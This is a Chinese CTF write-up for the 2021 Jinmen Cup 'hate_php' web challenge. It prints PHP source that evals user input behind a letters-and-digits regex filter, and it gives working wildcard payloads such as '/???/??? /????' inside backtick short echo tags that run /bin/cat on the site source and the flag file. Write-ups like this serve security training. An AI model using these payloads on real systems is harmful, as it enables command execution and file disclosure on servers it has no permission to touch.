CTFHub_2021-津门杯-Web-hate_php(通配符绕过正则匹配)

2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

打开场景,显示源代码

<?php
error_reporting(0);
if(!isset($_GET['code'])){

highlight_file(__FILE__);
}else{

$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){

die('fighting!');
}
eval($code);
}

代码审计后,发现对输入code进行了正则表达式匹配,过滤了英文大小写字母、数字和_$@三个特殊字符。

本题的关键就是绕过正则匹配,执行eval()函数。

解题思路:

  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

首先,构造payload如下:

?><?=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>

读取到源码发现存在如下函数(我没找到?):

function getFlag(){

$flag = file_get_contents('/flag');
echo $flag;
}

最后直接读取flag文件。

?code=?><?=`/???/??? /????`?>
php使用短链接含义如下:
<?php echo `/bin/cat /flag`?>

参考:https://copyfuture.com/blogs-details/20210524050224390L#3_369

posted @ 2022-03-11 14:40  zhengna  阅读(808)  评论(0编辑  收藏  举报